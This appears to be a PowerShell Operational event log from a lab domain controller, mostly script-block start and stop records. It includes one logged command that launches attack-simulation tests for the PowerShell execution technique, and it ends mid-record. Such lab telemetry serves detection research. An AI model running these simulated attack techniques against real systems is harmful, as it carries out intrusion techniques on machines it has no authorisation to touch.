06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477285
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477284
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477282
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477279
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477277
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477276
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477275
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477274
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477272
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477271
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477270
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477269
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477267
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477266
Keywords=None
Message=Started invocation of ScriptBlock ID: 655b8275-a22b-43b3-b24c-cb331813dd7f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477265
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1059.001 -TestNumbers 11,12,13
ScriptBlock ID: 655b8275-a22b-43b3-b24c-cb331813dd7f
Path:
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477264
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477627
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477626
Keywords=None
Message=Completed invocation of ScriptBlock ID: d6f0a5e8-f5a8-4443-8fee-47630747e7fe
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477624
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477623
Keywords=None
Message=Started invocation of ScriptBlock ID: d6f0a5e8-f5a8-4443-8fee-47630747e7fe
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477622
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: d6f0a5e8-f5a8-4443-8fee-47630747e7fe
Path:
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477621
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477620
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 655b8275-a22b-43b3-b24c-cb331813dd7f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477616
Keywords=None
Message=Completed invocation of ScriptBlock ID: a91726dd-e6d1-43d0-8248-4e56a5b3429d
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477615
Keywords=None
Message=Started invocation of ScriptBlock ID: a91726dd-e6d1-43d0-8248-4e56a5b3429d
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477614
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: a91726dd-e6d1-43d0-8248-4e56a5b3429d
Path:
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477613
Keywords=None
Message=Completed invocation of ScriptBlock ID: f3d5f304-5803-4515-a701-a05bc6b9a677
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:05:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477612
Keywords=None
Message=Completed invocation of ScriptBlock ID: ddf0721b-9309-4e53-bf91-f4b22c9856e0
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477641
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477640
Keywords=None
Message=Completed invocation of ScriptBlock ID: e0b9a6bc-5548-4650-801c-40cf49750120
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477638
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477637
Keywords=None
Message=Started invocation of ScriptBlock ID: e0b9a6bc-5548-4650-801c-40cf49750120
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477636
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: e0b9a6bc-5548-4650-801c-40cf49750120
Path:
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477635
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477634
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 782cf29b-6645-4163-a9de-9b17055b3308
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477631
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477630
Keywords=None
Message=Started invocation of ScriptBlock ID: 782cf29b-6645-4163-a9de-9b17055b3308
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477629
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 782cf29b-6645-4163-a9de-9b17055b3308
Path:
06/15/2021 05:05:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477628
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477828
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477827
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477826
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477825
Keywords=None
